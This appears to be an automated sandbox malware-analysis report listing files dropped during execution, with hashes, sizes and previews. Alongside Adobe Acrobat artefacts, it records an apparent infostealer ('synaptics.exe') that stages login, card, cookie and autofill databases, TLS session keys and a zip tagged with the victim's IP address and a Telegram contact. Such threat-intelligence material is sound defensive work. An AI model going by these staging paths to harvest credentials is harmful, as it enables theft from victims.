SSDEEP:	24:TLKufx/XYKQvGJF7ursB1RZKHs/DFln0pvuVI6PXPSH3n0F:TGufl2GL7msvgOFluvue5H34
MD5:	80BC5E1D501B446EA9D42D22ACD593DD
SHA1:	56E5D96220E234A8626A3FD260B5B9A2A92F9AF5
SHA-256:	AC113B69C717A581B9FA70649ED37CA37EE2E016A161D32AE38D9CE56A910899
SHA-512:	474E0DF2FB961C217590E8B9AF0462C158ADF42A4AAF4D050A124E0CCC06599A8412D5A7466C88C164A70BC2D58A0CB4E0BE030D8CD478A6BEF5E64762E1F9AA
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3552683071854312
Encrypted:	false
SSDEEP:	24:7+ti21RZKHs/Ds/SpRn0pvuVI6PXPSH3n0RqLhx/XYKQvGJF7ursis:7MPgOVpRuvue5H32qFl2GL7msT
MD5:	7594CDB6964E63915A1BE81E5336249F
SHA1:	838B87837453AB1F254F5521D81B9CC222506496
SHA-256:	FEC5CEECF39A5C68BBBA370F5781C652181CF612D954551F7D33F7B55A2A63B3
SHA-512:	33476F7671A5061799EE12C211179E8A566664B7E19F65A036CFFF8C820E55FADA91100DBE36FCFAC36F70E1805D02EE9FC29C89F26CFAA23E6D51D37328DC6C
Malicious:	false
Reputation:	low
Preview:	.... .c.......B.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#...z.>.....}.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgdrKrS9m/SbPV6kuLFkN0F8kZqXYyu:6a6TZ44ADEdrKrSbPVBJNkZOK
MD5:	05CAD9BD7969A48DC7DBBAA06A60239F
SHA1:	2DAE993D5A099AB495240118066DF012803C2ED6
SHA-256:	55734BC15B3F1C2222F7961B81E4DFE98720D804708D4B89F9789B639145300F
SHA-512:	4057C7CD9E140E96199BD039EBF90A65E1CF7337ECA4A3A4CCABFFABC03252C5547F74DF896D1381F04070D559CA677B3A1CB1FEA1615B681B68AB68D8481B59
Malicious:	false
Reputation:	low
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\LoginVault_db

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MSI572cf.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8+drfQv:Qw946cPbiOxDlbYnuRKBm
MD5:	13CD3A846507EA38FB2B676CE1A1E99B
SHA1:	D246290761F2CB207085EB3B5951AD0FDAB5380B
SHA-256:	63AE5066DBA082DD432D2200F6B973718D199CA176CDFC9AF001C7231280D5D9
SHA-512:	BDD76DF69F94FAF09AA6147262125607FAA06BBF03F2F9E9601E8EAFF464EC7E5AD6390834089C6BD1ED865AD42D390DD045201B49CDC9C50C3603F0F600A146
Malicious:	false
Reputation:	low
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.5./.1.1./.2.0.2.4. . .0.5.:.5.8.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\[US_173.254.250.89] user-PC.zip

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	Zip archive data (empty)
Category:	modified
Size (bytes):	88
Entropy (8bit):	4.628345155080478
Encrypted:	false
SSDEEP:	3:pjt/lNggg1H5dQMRE4NRzY7OK0n:Ntfg1H5SMRNR0yK0n
MD5:	098A138917032B24B0AD529B17D1DE3B
SHA1:	9511D597DEC2EEECFA3C121680902269ECEEAEA5
SHA-256:	1B2E8DF1786ECD1E248C2268B635AFC2C598B7704251F186AD5C3D71293AB26D
SHA-512:	AAA0CC5AF93AA139C6C13A57744F51E420A7904B17E96657FE1B301EEAC1237D72AD30F7305CCFC10A3B149578BC23C0485BEDEB9D577388258C6EEB294D45B6
Malicious:	false
Reputation:	low
Preview:	PK..................B.Time Created: 15-11-2024 (05:58:58).Contact: https://t.me/LoneNone

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A96zjzem_vehwd3_xs.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Reputation:	low
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-11-15 05-58-22-612.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Reputation:	low
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.372882803250613
Encrypted:	false
SSDEEP:	384:9oEt0EZIDFUk5We/0Xz7ByI5p+RgTV44+TcgVuV8V0VeVftZ+5nhNnPE/g5q5YR0:cSj64mK4H
MD5:	D777D4B761A3725706751BF47E990498
SHA1:	3A51B0CFBD61298996F10DF9AEE484674621047C
SHA-256:	2F723DDFEFD3E080B515FE4152B584155FF5B761C08CEA723CA97E7AA1B2D6CE
SHA-512:	FF014FFC75BEA034206E74F521C65C6DE39ADC68853F0886B83D5DF1605B17F954FDFCD77DBADDD829C70548D1229DFD29F555A66BEDE7CE85A6DC22C2867BDA
Malicious:	false
Reputation:	low
Preview:	SessionID=a8bdf312-c97c-42b9-b932-c0ce14270166.1731668302641 Timestamp=2024-11-15T05:58:22:641-0500 ThreadID=4788 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a8bdf312-c97c-42b9-b932-c0ce14270166.1731668302641 Timestamp=2024-11-15T05:58:22:660-0500 ThreadID=4788 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a8bdf312-c97c-42b9-b932-c0ce14270166.1731668302641 Timestamp=2024-11-15T05:58:22:660-0500 ThreadID=4788 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a8bdf312-c97c-42b9-b932-c0ce14270166.1731668302641 Timestamp=2024-11-15T05:58:22:660-0500 ThreadID=4788 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a8bdf312-c97c-42b9-b932-c0ce14270166.1731668302641 Timestamp=2024-11-15T05:58:22:660-0500 ThreadID=4788 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397401350956844
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbt:5
MD5:	9978377C618B929D3177413140A252F5
SHA1:	F08B274C8A7037AA9D152BBA21072FAAC60B5C5F
SHA-256:	EA57A8700B038529A0F0FF99A8CD06FB7C54F5167192E932D358CBC874EB40B2
SHA-512:	11F7A766E1BD8139B72329567F39FD27B857BFF20BED457BE6762D458CCED76B0A119FAA362C5B74CF9EFBF14BFF45E6EE130C70FD055D1D1B09B920C404B12B
Malicious:	false
Reputation:	low
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\20f4143a-3342-4753-9a05-17a432e64de0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Reputation:	low
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\32f07d87-befa-4f98-a04c-2aaec8e03b21.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/YkwYIGNPQbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZd:DwZG2b3mlind9i4ufFXpAXkrfUs0qWLk
MD5:	38ED8E7B44D526DDA0F3E7608AF1AFA1
SHA1:	45E30A6789382E29AC870CCF92B514FB95742C45
SHA-256:	7B277E2332AE55A014D8C37CCC879D165E33315437F6197BEB153CD75E4EFBBF
SHA-512:	7169B1E4B2895A91FA0FBE4297CB70BE56D733084653334BB4E8421382F8F761DAD11B5D87277E0286A7C16CB53A2C79F96BB45F433D776E82A7CF45EA25121C
Malicious:	false
Reputation:	low
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\35908865-b3ab-4095-a83d-e529c74d1316.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Reputation:	low
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\534cd1c5-1ce3-489a-a07d-8a1dc2f3c667.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	1F3D69524A9D7E17BD2363C81D130F1A
SHA1:	C2A4A08839CBA47BEE2B601975F7C4F0CC191091
SHA-256:	D0FFBEC8502A0BE88A99F6708987658FEBE4CF3B6B79AF219C53EFF6458F9D9D
SHA-512:	A4CBE7073A7CB4C5E33E1CD903CCD7F24B78A04C037BFA1D90D9A5BBD12AF60E3DFFD6546277D1B765CA1DAC1CDA28D24D3454C81952B72D97CAF84DF395E99A
Malicious:	false
Reputation:	low
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\autofill_db

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\browser-sslkeys.log

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	9578
Entropy (8bit):	4.760447006966236
Encrypted:	false
SSDEEP:	192:9Kr6rzrVrsr7wMhGrF8u7rT8TnrlCV4hfriKpSEe0f:9827P8zocDiRv0f
MD5:	B6F4E7FB467A73E94DA228703B815417
SHA1:	31F2BB5E0158B23610BF49140E10B9E0CDBCDE27
SHA-256:	5ED0E3B3E57E3F1F1D1E4CA9B4C04E17061B9648202412233B8465F786F9B793
SHA-512:	5480EBEB29617B9AD2230B416F5A7CABC1EAB9476B049EB90FE0EDA4E620EF5114930E570A9648CDC87DFC76A6D26AB155316FECB3826A7CC416F169D91C246C
Malicious:	false
Reputation:	low
Preview:	CLIENT_HANDSHAKE_TRAFFIC_SECRET cfaf704f3fd14fe38b87756a40d67d223667f1aaaa5b7c0a81405a3d4e10fc3c 16ad98cf137c37c73c98d2dd217e0b51937c105851f4686b8c26644f8fe23bdc.SERVER_HANDSHAKE_TRAFFIC_SECRET cfaf704f3fd14fe38b87756a40d67d223667f1aaaa5b7c0a81405a3d4e10fc3c 71eaad1ca39b16d69ef4e0e9c39c4f18e43ff99fdfca7325123d408e17653141.CLIENT_TRAFFIC_SECRET_0 cfaf704f3fd14fe38b87756a40d67d223667f1aaaa5b7c0a81405a3d4e10fc3c 753ab7abc497476ba0c1f88577ef875c4b0dfb8a3056b624f70ba8bbf176054d.SERVER_TRAFFIC_SECRET_0 cfaf704f3fd14fe38b87756a40d67d223667f1aaaa5b7c0a81405a3d4e10fc3c 50ec5fc93d667fc67e7b869bf602b3919e4b23fc42b557971eccb35c986325dc.EXPORTER_SECRET cfaf704f3fd14fe38b87756a40d67d223667f1aaaa5b7c0a81405a3d4e10fc3c 0b231bb14837cb7e791e65ffbd4446df084cfe10d1310008cd07d389764e087c.CLIENT_HANDSHAKE_TRAFFIC_SECRET d58712c8f1a9119fffc000979c21eb0ba1f586dcbce51cc02eadf8f29d67935d ec8507817df3d912069f15cb48558e6f692a822e8698a6daee47d8b9be4329ca.SERVER_HANDSHAKE_TRAFFIC_SECRET d58712c8f1a9119fffc000979c21

C:\Users\user\AppData\Local\Temp\cards_db

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cookie_db

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
